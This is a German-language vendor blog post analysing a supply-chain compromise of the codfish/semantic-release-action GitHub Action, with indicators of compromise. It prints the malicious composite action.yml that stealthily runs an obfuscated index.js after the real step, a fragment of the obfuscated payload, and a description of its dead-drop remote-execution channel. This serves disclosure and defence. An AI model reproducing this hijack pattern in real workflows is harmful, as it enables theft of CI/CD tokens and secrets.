Aikido

Kompromittierte GitHub-Aktion codfish/semantic-release-action stiehlt CI/CD-Secrets

Verfasst von
Hunter Schwartz

Am 24. Juni 2026 wurde die codfish/semantic-release-action GitHub Action durch einen Imposter-Commit-Angriff kompromittiert. Ein Angreifer hat zwei bösartige Commits in das Repository force-gepusht und sechzehn Tags auf diese umgeleitet, einschließlich der schwebenden Hauptversions-Tags v2, v3, v4, und v5. Jeder Workflow, der die Action über einen dieser Tags referenziert, wird den Code des Angreifers bei seinem nächsten CI-Lauf ziehen und ausführen.

Diese Action ist seit 2019 der Standardweg, um semantic-release in GitHub Actions zu integrieren und hat über 100 GitHub-Sterne. Workflows, die sie für automatisierte Releases verwenden, besitzen fast immer einen GITHUB_TOKEN und häufig einen NPM_TOKEN mit Publish-Zugriff, was genau die Art von Zugriff ist, die ein Angreifer erlangen möchte.

Wie die Tags gekapert wurden

Git-Tags sind standardmäßig nicht geschützt. Jeder mit Push-Zugriff auf ein Repository kann einen Tag erzwingen, auf einen anderen Commit zu zeigen, und GitHub Actions löst eine Tag-Referenz in dem Moment auf, in dem ein Workflow ausgeführt wird. Das Verschieben eines Tags überschreibt rückwirkend jeden zukünftigen Lauf, der darauf verweist, ohne jegliche Benachrichtigung an die Person, die den Workflow geschrieben hat.

Der Angreifer nutzte dies gegen codfish/semantic-release-action in zwei Phasen. Der erste bösartige Commit umfasste fünfzehn Tags: v2.2.1, die gesamte v3-Linie (v3, v3.0.0 bis v3.5.0), die gesamte v4-Linie (v4, v4.0.0, v4.0.1), und die gesamte v5-Linie (v5, v5.0.0). Ein zweiter Commit ist ein direktes Kind des ersten und übernahm den v2 Tag. Beide Commits liefern einen byte-identischen index.js Payload, bestätigt durch Hash.

Keiner der Commits ist ein Vorgänger des Repository- Haupt Branch. Sie wurden als Waisen eingepfropft und dann so aufbereitet, dass sie bei einem schnellen git log Überfliegen keinen Verdacht erregen. Der erste Commit verwendet die Autorenidentität, das Datum und die Commit-Nachricht eines echten Commits vom 9. November 2023 wieder:

commit 5792aba0e2180b9b80b77644370a6889d5817456
Author: Chris O'Donnell <1666298+codfish@users.noreply.github.com>
Date:   Thu Nov 9 16:49:48 2023 +0000

    Merge pull request #195 from codfish/force-install

Diese Metadaten sind echt und stammen aus einem legitimen Merge in der Projektgeschichte. Die Dateiinhalte wurden jedoch durch den bösartigen Payload ersetzt.

Was sich in action.yml

codfish/semantic-release-action ursprünglich als Docker-basierte Aktion ausgeführt, die einen Container aus dem Repository erstellt Dockerfile und aufrufend entrypoint.js. Die bösartigen Commits ersetzen action.yml durch eine Composite Action stattdessen:

runs:
  using: composite
  steps:
    - uses: "codfish/semantic-release-action@8f9a58f2acdc190c356f79159b5de2548cdb63cd"
      with:
        branches: "${{ inputs.branches }}"
        # ...remaining inputs passed through unchanged
    - uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6"
      if: always()
    - name: Cleanup Action
      if: always()
      shell: bash
      run: bun run $GITHUB_ACTION_PATH/index.js

Der erste Schritt ruft immer noch die echte, aktuelle codfish/semantic-release-action, auf einen sauberen Commit gepinnt, sodass die Aktion normal weiterfunktioniert und ein Workflow-Lauf erfolgreich aussieht. Die beiden darauf folgenden Schritte werden mit if: always(), sodass sie ausgelöst werden, egal ob der legitime Schritt erfolgreich ist, fehlschlägt oder übersprungen wird. Der zweite Schritt bindet oven-sh/setup-bun, eine echte und ansonsten unabhängige Drittanbieter-Aktion, ausschließlich um die Bun-Laufzeitumgebung auf den CI-Runner zu bringen. Der dritte Schritt führt die Payload aus, index.js, mit bun run.

Die ursprünglichen Dateien des Repositorys Dockerfile, entrypoint.js, und entrypoint.spec.js befinden sich immer noch im Baum dieses Commits. Sie werden einfach nicht mehr aufgerufen, da eine Composite Action sie vollständig ignoriert. Das Belassen der alten Dateien ist eine minimale Diff-Abdeckung. Jeder, der eine Dateiliste überfliegt, sieht den üblichen Inhalt der Aktion und nichts offensichtlich Fehlendes.

Die Payload

Der injizierte index.js ist 781.580 Bytes an obfuskiertem JavaScript, strukturiert als String-Array mit hex-kodierten Variablennamen, dem Ausgabestil eines typischen kommerziellen JavaScript-Obfuscators:

const _0x307419=_0x42e6;(function(_0xb5d033,_0x1d1124){const _0x23f080={_0x15a6a0:0xf9,_0x3d6efe:0x73a,...

Im obfuskierten Codekörper befindet sich der String thebeautifulsnadsoftime, eine fast perfekte Übereinstimmung mit TheBeautifulSandsOfTime und weicht nur um einen vertauschten Buchstaben ab. Dieser String identifiziert einen der Dead-Drop-Kanäle, die vom Miasma-Toolkit zum Stehlen von Anmeldeinformationen verwendet werden, das am 10. Juni 2026 öffentlich geleakt wurde. Das Design von Miasma verzichtet auf einen traditionellen C2-Server. Anstatt die Angreiferinfrastruktur anzusprechen, durchsucht die Malware periodisch die öffentliche Commit-Such-API von GitHub nach diesem Marker-String. Wenn sie einen passenden Commit findet, behandelt sie die angehängte Payload als signierten Befehl und führt sie über eval(). Das gibt dem Operator eine Möglichkeit, jedem infizierten Runner frische Remote Code Execution zu liefern, ohne eigene Infrastruktur aufzubauen oder zu warten, und ohne den ausgehenden Netzwerkverkehr zu erzeugen, den die Egress-Überwachung normalerweise kennzeichnet.

Verbindung zur Miasma-Kampagne

Derselbe TheBeautifulSandsOfTime Marker erscheint bereits in Miasma-Kampagnenaktivität gegen npm-Pakete unter dem @redhat-cloud-services Scope und in mehreren anderen kompromittierten GitHub-Repositories, die mit demselben Toolkit-Leak verbunden sind. Sobald ein Framework zum Stehlen von Anmeldeinformationen öffentlich wird, verbreitet es sich tendenziell schnell, da jeder Operator es ohne eigene Tools ausführen kann. codfish/semantic-release-action passt zu diesem Muster, eine weitere Instanz desselben Toolkits erreicht ein neues Repository.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Nutzer sind, können Sie ein Konto erstellen und Ihre Repositories verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikidos Device Protection Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser-Erweiterungen, Code-Bibliotheken, IDE-Plugins und Build-Abhängigkeiten ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, fängt npm-, npx-, yarn-, pnpm- und pnpx-Befehle ab und prüft Pakete vor der Installation gegen Aikido Intel.

Indikatoren für Kompromittierung

Bösartige Commits

  • 5792aba0e2180b9b80b77644370a6889d5817456 (Tags v2.2.1, v3, v3.0.0 bis v3.5.0, v4, v4.0.0, v4.0.1, v5, v5.0.0)
  • bcb6b1d409144318e8fad2171d6fe06d02299d1a (Tag v2)

Payload-Hash

index.js (beide bösartigen Commits): sha256 9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015

Weitere Indikatoren

  • Dead-Drop-Marker-String: thebeautifulsnadsoftime
  • Bun-Laufzeitumgebung eingebunden über oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6

Betroffene Tags

  • codfish/semantic-release-action@v2
  • codfish/semantic-release-action@v2.2.1
  • codfish/semantic-release-action@v3 bis v3.5.0
  • codfish/semantic-release-action@v4, v4.0.0, v4.0.1
  • codfish/semantic-release-action@v5, v5.0.0

Als sauber bestätigt

  • codfish/semantic-release-action@v1.0.0 bis v1.10.0
  • codfish/semantic-release-action@v2.0.0
Teilen:

https://www.aikido.dev/blog/compromised-github-action-codfish-steals-secrets

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.